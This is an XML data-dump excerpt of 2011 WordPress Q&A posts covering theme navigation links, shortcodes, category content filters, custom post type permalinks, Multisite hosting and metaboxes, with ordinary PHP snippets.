  <row Id="23220" PostTypeId="1" CreationDate="2011-07-16T15:14:32.540" Score="0" ViewCount="23" Body="&lt;p&gt;I'm using the Arras them in Wordpress to create a blog. I'm looking to make it so when I click on a post on the homepage, it takes the user to the archive of that category. How would I do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, I want to add 'Next' and 'Previous' to each blog post, along with a link to 'All Posts' or 'Blog Index'. Any easy way to do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The URL is &lt;a href=&quot;http://kelvinwinscom.fatcow.com/clients/ditb/&quot; rel=&quot;nofollow&quot;&gt;http://kelvinwinscom.fatcow.com/clients/ditb/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Apologies for the undoubtedly amateurish questions. Still trying to learn these things.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anyone requires any extra code just let me know and I'll try to provide it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance for any help. &lt;/p&gt;&#xA;" LastActivityDate="2011-08-16T19:25:30.603" Title="Linking to category specific archives in WP" Tags="&lt;php&gt;&lt;navigation&gt;&lt;archive&gt;" AnswerCount="1" />
  <row Id="23221" PostTypeId="2" ParentId="23220" CreationDate="2011-07-16T16:40:40.077" Score="0" ViewCount="" Body="&lt;p&gt;For the next and the previous in the blog posts try...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php previous_post(); ?&amp;gt;    &#xA;&amp;lt;?php next_post(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Not sure if it will work, just pinched it from wordpress' codex ;) &#xA;&lt;a href=&quot;http://codex.wordpress.org/Next_and_Previous_Links&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Next_and_Previous_Links&lt;/a&gt;&lt;/p&gt;&#xA;" LastActivityDate="2011-07-16T16:40:40.077" CommentCount="1" />
  <row Id="23222" PostTypeId="1" CreationDate="2011-07-15T20:36:22.640" Score="1" ViewCount="20" Body="&lt;p&gt;I am creating my own custom wordpress theme, this in general is not the problem.&#xA;I would like to use a plugin that is normally used within pages/posts. (NextGen Gallery, to make a sort of slide show between title and posts) but I am unsure what would be the best way to approach this.&#xA;I would like to not have to go through the trouble of recreating the code path of how the plugin html is normally generated, but to just use the tags that are normally put into wordpress posts. Is there for example a way to pass them to the right php function the evaluates them and creates the right html from them or is this either not possible or making things too complicated?&#xA;Note: The question &quot;Wordpress: Accessing a plugin's function from a theme&quot; is not what I want/mean.&lt;/p&gt;&#xA;" LastActivityDate="2011-08-16T16:25:26.047" Title="Wordpress: Access a plugin from within a theme" Tags="&lt;php&gt;&lt;plugins&gt;&lt;themes&gt;&lt;slideshow&gt;" AnswerCount="1" />
  <row Id="23223" PostTypeId="1" CreationDate="2011-07-13T08:05:56.463" Score="1" ViewCount="24" Body="&lt;p&gt;I have been doing some research on this but can't get a handle on the exact code I need to do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using a wordpress content slider that strips out &lt;code&gt;&amp;lt;ul&amp;gt;&amp;lt;/ul&amp;gt;&lt;/code&gt; and &lt;code&gt;&amp;lt;li&amp;gt;&amp;lt;/li&amp;gt;&lt;/code&gt; tags.  But it recognizes and allows me to style &lt;code&gt;&amp;lt;dl&amp;gt;&lt;/code&gt;  and &lt;code&gt;&amp;lt;dt&amp;gt;&amp;lt;dd&amp;gt;&lt;/code&gt; tags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to write a wordpress filter in my functions.php file to do this for only the category used in the slider (these posts are hidden and the slides will be linked to other pages).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I need to get the &quot;content&quot; for posts inside category id 7 and replace &lt;code&gt;&amp;lt;ul&amp;gt;&lt;/code&gt; with &lt;code&gt;&amp;lt;dl&amp;gt;&lt;/code&gt; and &lt;code&gt;&amp;lt;li&amp;gt;&lt;/code&gt; with &lt;code&gt;&amp;lt;dt&amp;gt;&amp;lt;dd&amp;gt;&lt;/code&gt;, and of course the same for the closing tags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will allow for use of the list features of the post editor without the need to edit the html.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help is appreciated.&lt;/p&gt;&#xA;" LastActivityDate="2011-08-18T18:23:34.943" Title="In need of a content replace filter for posts in a specific wordpress category" Tags="&lt;filters&gt;" AnswerCount="1" />
  <row Id="23224" PostTypeId="1" CreationDate="2011-07-15T15:40:27.403" Score="0" ViewCount="28" Body="&lt;p&gt;By default its something like &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;category/postname.html/attachment/attachmentname&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;now i have &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;category/postname.html/attachmentname&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i want to get &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;category/postname-attachmentname.html&lt;/code&gt;&#xA;or &#xA;&lt;code&gt;category/attachment-name.html&lt;/code&gt;&#xA;for another project.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;please advice how can i get it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;my research indicates that is good for SEO&#xA;most examples online are based on replacing attachment to media etc, none with so advanced mixing.&lt;/p&gt;&#xA;" LastActivityDate="2011-07-17T12:02:49.567" Title="Custom attachment URL for Wordpress 3.1 and 3.2" Tags="&lt;urls&gt;&lt;mod-rewrite&gt;&lt;customization&gt;" CommentCount="0" />
  <row Id="23225" PostTypeId="2" ParentId="22935" CreationDate="2011-07-17T12:23:02.337" Score="1" ViewCount="" Body="&lt;p&gt;This is relatively easy if the plugin is under Git source control due to Git's distributed nature, but many WordPress plugins (and all of those in the official repository) are in Subversion. I use &lt;a href=&quot;http://svnbook.red-bean.com/en/1.5/svn.advanced.vendorbr.html&quot; rel=&quot;nofollow&quot;&gt;vendor branches&lt;/a&gt; and svn_load_dirs.php if I &lt;em&gt;really&lt;/em&gt; need to modify a plugin, but this requires a reasonably high comfort level with Subversion.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the plugin exposes no repository, I'd recommend turning it into a Git repository yourself and manually applying new versions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the end, version control systems are the only sane way to reapply changes to new upstream versions.&lt;/p&gt;&#xA;" OwnerUserId="66" LastActivityDate="2011-07-17T12:23:02.337" CommentCount="0" />
  <row Id="23226" PostTypeId="1" AcceptedAnswerId="23231" CreationDate="2011-07-17T11:06:34.340" Score="1" ViewCount="104" Body="&lt;p&gt;I rent some webserver space (Linux, MySql, PHP, Apache) and host several Wordpress websites (for different clients, with different needs)&#xA;What would be the best way to Host multiple wordpress sites on a single machine, what I'm looking for here, is saving on diskspace and number of databases needed as well as simplifying maintenance.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Yes this should be for a single wordpress version.&lt;/li&gt;&#xA;&lt;li&gt;Each site should be able to have different plugins included and activated&lt;/li&gt;&#xA;&lt;li&gt;Each site should be able to have it's own themes (some shared some not)&lt;/li&gt;&#xA;&lt;li&gt;No crossing between sites - users and content not shared in any way.&lt;/li&gt;&#xA;&lt;li&gt;Easily Upgradable&lt;/li&gt;&#xA;&lt;li&gt;Single Super Admin is a plus but not essential&#xA;(I know how to install and manage wordpress, I can't figure out if Wordpress MU is what I need, if so how to set it up so that my requirements are met, can I enable/disable features per user/blog created with MU).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="3393" LastActivityDate="2011-07-17T14:02:09.903" Title="Hosting multiple Wordpress sites on single server - best practices?" Tags="&lt;linux&gt;&lt;hosting&gt;&lt;configuration&gt;" AnswerCount="1" />
  <row Id="23227" PostTypeId="2" ParentId="23223" CreationDate="2011-07-17T13:42:29.067" Score="1" ViewCount="" Body="&lt;p&gt;Just put an &lt;code&gt;in_category()&lt;/code&gt; conditional around your content-filtering code, wrap the whole thing in a function, and hook it into the &lt;code&gt;the_content&lt;/code&gt; filter:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function mytheme_filter_cat_7_content( $content ) {&#xA;    if ( in_category( '7' ) ) {&#xA;    // filter your content here&#xA;    }&#xA;// then return $content&#xA;return $content;&#xA;}&#xA;add_filter( 'the_content', 'mytheme_filter_cat_7_content' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(Just put whatever code you're using to filter &lt;code&gt;the_content&lt;/code&gt; inside the conditional.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, note that you can pass either a category ID or slug to &lt;code&gt;in_category()&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2011-08-18T18:23:34.943" LastActivityDate="2011-08-18T18:23:34.943" />
  <row Id="23228" PostTypeId="2" ParentId="23222" CreationDate="2011-07-17T13:49:46.697" Score="0" ViewCount="" Body="&lt;p&gt;The easiest approach might be to use &lt;code&gt;do_shortcode()&lt;/code&gt;; for example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;echo do_shortcode('[gallery id=&quot;1&quot;]'); &#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You just need to pass the appropriate gallery ID. You can also pass any of the other valid shortcode parameters, such as &quot;columns&quot;, &quot;size&quot;, etc.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-07-17T13:49:46.697" />
  <row Id="23229" PostTypeId="2" ParentId="23205" CreationDate="2011-07-17T13:53:46.393" Score="1" ViewCount="" Body="&lt;p&gt;Several classes have been added since WordPress 2.8 (when the WPEngineer post was written). I would refer directly to the &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/body_class&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;body_class()&lt;/code&gt; Codex entry&lt;/a&gt;, which currently lists the following:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;rtl&lt;/li&gt;&#xA;&lt;li&gt;home&lt;/li&gt;&#xA;&lt;li&gt;blog&lt;/li&gt;&#xA;&lt;li&gt;archive&lt;/li&gt;&#xA;&lt;li&gt;date&lt;/li&gt;&#xA;&lt;li&gt;search&lt;/li&gt;&#xA;&lt;li&gt;paged&lt;/li&gt;&#xA;&lt;li&gt;attachment&lt;/li&gt;&#xA;&lt;li&gt;error404&lt;/li&gt;&#xA;&lt;li&gt;single postid-(id)&lt;/li&gt;&#xA;&lt;li&gt;page-id-(page_id)&lt;/li&gt;&#xA;&lt;li&gt;attachmentid-(id)&lt;/li&gt;&#xA;&lt;li&gt;attachment-(mime-type)&lt;/li&gt;&#xA;&lt;li&gt;author&lt;/li&gt;&#xA;&lt;li&gt;author-(user_nicename)&lt;/li&gt;&#xA;&lt;li&gt;category&lt;/li&gt;&#xA;&lt;li&gt;category-(slug)&lt;/li&gt;&#xA;&lt;li&gt;tag&lt;/li&gt;&#xA;&lt;li&gt;tag-(slug)&lt;/li&gt;&#xA;&lt;li&gt;page-parent&lt;/li&gt;&#xA;&lt;li&gt;page-child parent-pageid-(id)&lt;/li&gt;&#xA;&lt;li&gt;page-template page-template-(template file name)&lt;/li&gt;&#xA;&lt;li&gt;search-results&lt;/li&gt;&#xA;&lt;li&gt;search-no-results&lt;/li&gt;&#xA;&lt;li&gt;logged-in&lt;/li&gt;&#xA;&lt;li&gt;paged-(page number)&lt;/li&gt;&#xA;&lt;li&gt;single-paged-(page number)&lt;/li&gt;&#xA;&lt;li&gt;page-paged-(page number)&lt;/li&gt;&#xA;&lt;li&gt;category-paged-(page number)&lt;/li&gt;&#xA;&lt;li&gt;tag-paged-(page number)&lt;/li&gt;&#xA;&lt;li&gt;date-paged-(page number)&lt;/li&gt;&#xA;&lt;li&gt;author-paged-(page number)&lt;/li&gt;&#xA;&lt;li&gt;search-paged-(page number)&lt;/li&gt;&#xA;&lt;li&gt;tax-(taxonomy name) (since 3.1)&lt;/li&gt;&#xA;&lt;li&gt;term-(term name) (since 3.1)&lt;/li&gt;&#xA;&lt;li&gt;admin-bar (since 3.1)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-07-17T13:53:46.393" CommentCount="4" />
  <row Id="23231" PostTypeId="2" ParentId="23226" CreationDate="2011-07-17T14:02:09.903" Score="0" ViewCount="" Body="&lt;p&gt;Based on your needs, yes: you should probably be using a Network (WordPress with MultiSite enabled).&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;All network sites run the same version of WordPress&lt;/li&gt;&#xA;&lt;li&gt;Each network site can activate its own Plugins. You can explicitly allow each site to manage its own Plugins.&lt;/li&gt;&#xA;&lt;li&gt;Each network site can have access to different Themes (though you will have to manage access to each Theme via the Network Admin.&lt;/li&gt;&#xA;&lt;li&gt;Users can be managed such that each sites users are mutually exclusive&lt;/li&gt;&#xA;&lt;li&gt;Upgrades of WordPress core, Themes, Plugins, and network sites is all managed from a single location in the Network Admin&lt;/li&gt;&#xA;&lt;li&gt;Super Admin is part of a Network install, and allows granular control over each network site, Plugins, Themes, and users.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;As for how to set up a Network, &lt;a href=&quot;http://codex.wordpress.org/Create_A_Network&quot; rel=&quot;nofollow&quot;&gt;everything is incredibly well-documented in the Codex&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-07-17T14:02:09.903" CommentCount="2" />
  <row Id="23232" PostTypeId="1" CreationDate="2011-07-17T13:30:01.177" Score="0" ViewCount="32" Body="&lt;p&gt;I would like to hidde all posts in a wordpress home page, so I need to remove &lt;code&gt;loop_start&lt;/code&gt; or &lt;code&gt;the_post&lt;/code&gt;.  I tried the &lt;code&gt;remove_action&lt;/code&gt; function, but this does not remove posts. Any ideas how a plugin can generate empty pages? &lt;/p&gt;&#xA;" LastEditorUserId="3266" LastEditorDisplayName="" LastEditDate="2011-07-17T14:33:05.920" LastActivityDate="2011-07-17T14:33:05.920" Title="How can a wordpress plugin generate pages without posts?" Tags="&lt;plugins&gt;" AnswerCount="1" />
  <row Id="23233" PostTypeId="2" ParentId="23232" CreationDate="2011-07-17T13:36:12.833" Score="1" ViewCount="" Body="&lt;p&gt;You can do this with a plugin, but WordPress already has settings to allow a static front page to exist for the blog. Go in the WordPress Admin screen and look under Settings&gt;Reading and you'll see that you can set the blog front page to be a single Post/Page that you choose. This will do what you need without making a plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're dead set on making a plugin, here is a useful tutorial on doing this in code: &lt;a href=&quot;http://mindleaks.com/wordpress-adding-teaser-in-static-front-page-of-thesis-theme/&quot; rel=&quot;nofollow&quot;&gt;http://mindleaks.com/wordpress-adding-teaser-in-static-front-page-of-thesis-theme/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7112" LastActivityDate="2011-07-17T13:36:12.833" />
  <row Id="23234" PostTypeId="1" AcceptedAnswerId="23251" CreationDate="2011-07-17T14:39:50.217" Score="1" ViewCount="29" Body="&lt;p&gt;Currently my only internet access is via my phone, and I need to add a widget to a Wordpress site. This requires dragging and dropping the widget to the sidebar, which I cannot do via the web browser on the device. Is there some way to get around this? &lt;/p&gt;&#xA;" OwnerUserId="7091" LastActivityDate="2011-07-17T19:42:47.053" Title="How do I add a widget from an Android phone?" Tags="&lt;widgets&gt;&lt;mobile&gt;" AnswerCount="1" />
  <row Id="23235" PostTypeId="1" CreationDate="2011-07-17T14:39:59.700" Score="1" ViewCount="200" Body="&lt;p&gt;Hitting a brick wall with the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;1 custom post type called &lt;code&gt;cpt_community&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;1 custom taxonomy called &lt;code&gt;tax_community&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If I set &lt;code&gt;'rewrite' =&amp;gt; true&lt;/code&gt; in my CPT registration, then permalinks to an entry for this CPT are of the form of &lt;code&gt;http://&amp;lt;domain&amp;gt;/cpt_community/test_item/&lt;/code&gt;, and I get a 404 when browsing to it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I set  &lt;code&gt;'rewrite' =&amp;gt; false&lt;/code&gt;, then permalinks are &lt;code&gt;http://&amp;lt;domain&amp;gt;/?cpt_community=test_item/&lt;/code&gt;, and this works fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I'm obviously doing something wrong/stupid - the question is, what?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[Update]&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;After every change I'm flushing rules by going to Settings &gt; Permalinks (and saving)&lt;/li&gt;&#xA;&lt;li&gt;After leaving everything alone for an hour, things have started working correctly - so why the delay? &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Code&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;CPT Registration&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function community_post_type() {&#xA;  $labels = array('name'  =&amp;gt; 'Community');&#xA;&#xA;   $args = array(&#xA;      'labels' =&amp;gt; $labels,&#xA;      'public' =&amp;gt; true,&#xA;      'publicly_queryable' =&amp;gt; true,&#xA;      'show_ui' =&amp;gt; true,&#xA;      'show_in_menu' =&amp;gt; true,&#xA;      'query_var' =&amp;gt; true,&#xA;      'rewrite' =&amp;gt; false,&#xA;      'capability_type' =&amp;gt; 'post',&#xA;      'has_archive' =&amp;gt; true,&#xA;      'hierarchical' =&amp;gt; false,&#xA;      'menu_position' =&amp;gt; null,&#xA;      'has_archive' =&amp;gt; true,&#xA;      'supports' =&amp;gt; array('title','editor','excerpt','custom-fields','comments','revisions','thumbnail','author','page-attributes')&#xA;   ); &#xA;&#xA;  register_post_type('cpt_community', $args);&#xA;}  &#xA;add_action( 'init', 'community_post_type' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Custom Taxonomy Registration&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function community_tax_type() {&#xA;  register_taxonomy(&#xA;    'tax_community',&#xA;    'cpt_community',&#xA;     array( 'hierarchical' =&amp;gt; false,&#xA;       'label' =&amp;gt; 'Community Content Type',&#xA;       'show_ui' =&amp;gt; true,'query_var' =&amp;gt; true,&#xA;       'rewrite' =&amp;gt; true,&#xA;       'singular_label' =&amp;gt; 'Community Content Type',&#xA;       'capabilities' =&amp;gt; array('assign_terms' =&amp;gt; 'edit_community_tags')&#xA;       )&#xA;   );&#xA;   # allow roles to add community taxonomy tags to a community CPT&#xA;   $roles = array(&quot;subscriber&quot;,&quot;contributor&quot;,&quot;author&quot;,&quot;editor&quot;,&quot;administrator&quot;);&#xA;&#xA;   foreach ($roles as $role_name) {&#xA;     $role = get_role($role_name);&#xA;     $role-&amp;gt;add_cap(&quot;edit_community_tags&quot;);&#xA;   }   &#xA;}&#xA;add_action( 'init', 'community_tax_type' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="490" LastEditorUserId="490" LastEditorDisplayName="" LastEditDate="2011-07-17T15:35:44.217" LastActivityDate="2011-08-20T13:32:38.373" Title="Custom Post Type Permalink / Rewrite not working immediately" Tags="&lt;custom-post-types&gt;&lt;custom-taxonomy&gt;&lt;permalinks&gt;&lt;rewrite-rules&gt;" AnswerCount="1" CommentCount="4" />
  <row Id="23236" PostTypeId="1" CreationDate="2011-07-17T16:25:04.083" Score="0" ViewCount="22" Body="&lt;p&gt;Recently I changed my blog to have the posts on the front page, and deleted the old front page. However now there is no link to the index page. How do I make it reappear without having to add a manual link?&lt;/p&gt;&#xA;" OwnerUserId="7093" LastActivityDate="2011-07-17T16:25:04.083" Title="Missing link to home page in the page navigation, how do I get it back?" Tags="&lt;pages&gt;&lt;navigation&gt;" CommentCount="1" />
  <row Id="23238" PostTypeId="1" CreationDate="2011-07-17T18:27:47.890" Score="0" ViewCount="26" Body="&lt;p&gt;So, if a plugin should not ever be installed on an older version of WordPress, whats the best way to go about it? What I normally do is something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( ! function_exists( 'get_post_format' ) ) {&#xA;    $error_handler = set_error_handler( 'my_plugin_die' );&#xA;    trigger_error( '', E_USER_ERROR );&#xA;}&#xA;&#xA;function my_plugin_die( $errno, $errstr, $errfile, $errline ) {&#xA;    global $wp_version;&#xA;    exit( 'This plugin requires WordPress version 3.0 or greater. You are currently using version ' . $wp_version . '. Please &amp;lt;a target=&quot;_top&quot; href=&quot;' . esc_url( admin_url( 'update-core.php' ) ) . '&quot;&amp;gt;upgrade to the latest version of WordPress&amp;lt;/a&amp;gt; before installing this plugin.' );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I place this straight in the plugin file - outside of any class. It seems to work well in all of my testing, but seems rather harsh. Is there any chance of a plugin having this code will ever be activated?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to you deal with situations like this? There seems to be absolutely no documentation on this kind of thing.&lt;/p&gt;&#xA;" OwnerUserId="1367" LastActivityDate="2011-08-16T21:25:31.937" Title="Make plugin uninstalable on older versions of WordPress" Tags="&lt;plugins&gt;&lt;installation&gt;" AnswerCount="1" />
  <row Id="23239" PostTypeId="1" AcceptedAnswerId="23255" CreationDate="2011-07-17T18:29:10.557" Score="0" ViewCount="26" Body="&lt;p&gt;I have a custom post type called &quot;stock&quot; and each post is going to have a stock_id, stock_name, stock_description and stock_available fields,...I would like to have defaults for these fields so the user doesn't have to load them on each new item. Is there a way?&lt;/p&gt;&#xA;" OwnerUserId="5057" LastActivityDate="2011-07-17T20:08:28.340" Title="preselected custom fields in custom post type" Tags="&lt;custom-post-types&gt;&lt;custom-field&gt;" AnswerCount="2" />
  <row Id="23240" PostTypeId="1" CreationDate="2011-07-17T18:34:06.063" Score="0" ViewCount="42" Body="&lt;p&gt;I am trying to make usability of WordPress custom fields admin easier in my theme. I saw it in ElegantThemes' eStore theme. Only I couldn't figure out how to do it in my custom theme because I couldn't find the code in eStore theme files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use custom fields for my featured images and it's small thumbnail version. I have to upload both those pictures and from up above on the page, right below the title, copy the link and then choose the right custom key in custom fields below and paste it and the add it. Then repeat the process for another image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/VDDjN.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wanna make it simple. Make two text boxes and place the upload image button in front of them. As in the image below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/4PH9t.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If possible I even wanna automate the copy and paste process. i.e.: The image link for the full size image automatically shows up in the text box on upload. Even elegant themes doesn't do that, but I would love to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas on how I can do this. This will make the posting just a bit faster and more importantly make explaining the process to writers much much easier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am still looking into the code if I can find it. Any help would be greatly appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="7094" LastActivityDate="2011-07-17T20:12:19.167" Title="Make separate text boxes for separate WordPress Custom Fields" Tags="&lt;custom-field&gt;&lt;customization&gt;&lt;wp-admin&gt;&lt;add-meta-box&gt;" AnswerCount="2" />
  <row Id="23241" PostTypeId="2" ParentId="23238" CreationDate="2011-07-17T18:39:21.993" Score="0" ViewCount="" Body="&lt;p&gt;I think you're taking the right approach: version-checking and die. The only thing I might recommend would be to hook it into the Plugin activation hook.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Out of curiosity, though: why aren't you using &lt;code&gt;wp_die()&lt;/code&gt; (&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_die&quot; rel=&quot;nofollow&quot;&gt;Codex ref&lt;/a&gt;)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a side note: I would &lt;em&gt;love&lt;/em&gt; to see the Theme and Plugin repositories implement some sort of UI similar to AMO, that indicates whether a given Theme/Plugin is compatible with the user's current WordPress version. Plugins have a &lt;code&gt;Requires:&lt;/code&gt; WordPress-version header tag that would work sufficiently for this functionality, and I would think that Themes could implement the same, just as easily.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;p.s. I would &lt;em&gt;strongly recommend &lt;strong&gt;against&lt;/em&gt;&lt;/strong&gt; using the &quot;Compatibility rating&quot;; that functionality is beyond broken.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-07-17T18:39:21.993" CommentCount="3" />
  <row Id="23242" PostTypeId="2" ParentId="23240" CreationDate="2011-07-17T18:42:49.170" Score="1" ViewCount="" Body="&lt;p&gt;You need to create metaboxes for the custom Post meta data for which you want to add UI. &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/add_meta_box&quot; rel=&quot;nofollow&quot;&gt;Refer to &lt;code&gt;add_meta_box()&lt;/code&gt;&lt;/a&gt; for implementation documentation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Based on your comment, it would appear that, in order to change an &lt;em&gt;existing&lt;/em&gt; Post custom metabox, you need to find the &lt;em&gt;callback function&lt;/em&gt; referenced by &lt;code&gt;add_meta_box()&lt;/code&gt;. Can you post some relevant code - primarily, the &lt;code&gt;add_meta_box()&lt;/code&gt; calls themselves?&lt;/p&gt;&#xA;" OwnerUserId="3966" LastEditorUserId="3966" LastEditorDisplayName="" LastEditDate="2011-07-17T19:19:07.217" LastActivityDate="2011-07-17T19:19:07.217" CommentCount="2" />
  <row Id="23243" PostTypeId="1" CreationDate="2011-07-17T18:44:27.217" Score="0" ViewCount="33" Body="&lt;p&gt;i got this page:&#xA;&lt;a href=&quot;http://www.amirwebdeveloper.com/blog/common-sense-sensibility-and-accessibility-or-how-not-to-drive-the-surfer-mad-guide&quot; rel=&quot;nofollow&quot;&gt;http://www.amirwebdeveloper.com/blog/common-sense-sensibility-and-accessibility-or-how-not-to-drive-the-surfer-mad-guide&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;im trying to make a inner page anchor:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;#topic1&quot;&amp;gt;....&amp;lt;/a&amp;gt;&#xA;&#xA;content&#xA;&#xA;&amp;lt;a name=&quot;#topic1&quot;&amp;gt;topic 1&amp;lt;/a&amp;gt;&#xA;bla bla&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;for some reason it not scrolls.. anyone have a fix for it?&lt;/p&gt;&#xA;" OwnerUserId="7095" LastActivityDate="2011-07-17T18:50:47.573" Title="inner anchor scrolling with wordpress" Tags="&lt;jquery&gt;&lt;link&gt;" AnswerCount="1" />
  <row Id="23244" PostTypeId="1" CreationDate="2011-07-17T18:44:57.253" Score="0" ViewCount="56" Body="&lt;p&gt;How to achive this in sidebar.List of 10 latest permalinks(post titles) from contributors ?&lt;/p&gt;&#xA;" OwnerUserId="4490" LastEditorUserId="4490" LastEditorDisplayName="" LastEditDate="2011-07-17T18:50:46.940" LastActivityDate="2011-08-17T11:25:55.607" Title="Show 10 latest posts only from users with contributors role" Tags="&lt;posts&gt;&lt;sidebar&gt;&lt;query&gt;&lt;user-roles&gt;&lt;list&gt;" AnswerCount="1" />
  <row Id="23245" PostTypeId="1" CreationDate="2011-07-17T18:50:18.530" Score="0" ViewCount="109" Body="&lt;p&gt;I need this on 3 pages, all 3 from different categories, and then to show several post excerpts from all 3 categories in sidebar of home page.&lt;/p&gt;&#xA;" OwnerUserId="4490" LastActivityDate="2011-08-18T02:26:13.770" Title="How to show post(excerpt) from specific category on wp page?" Tags="&lt;posts&gt;&lt;customization&gt;&lt;page&gt;&lt;sidebar&gt;&lt;excerpt&gt;" AnswerCount="1" />
  <row Id="23246" PostTypeId="2" ParentId="23243" CreationDate="2011-07-17T18:50:47.573" Score="1" ViewCount="" Body="&lt;p&gt;Your anchor should point to an element with an id, e.g.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;#topic1&quot;&amp;gt;....&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;content&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h3 id=&quot;topic1&quot;&amp;gt;....&amp;lt;/h3&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Otherwise the anchor doesn't have somewhere to point to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="798" LastActivityDate="2011-07-17T18:50:47.573" CommentCount="1" />
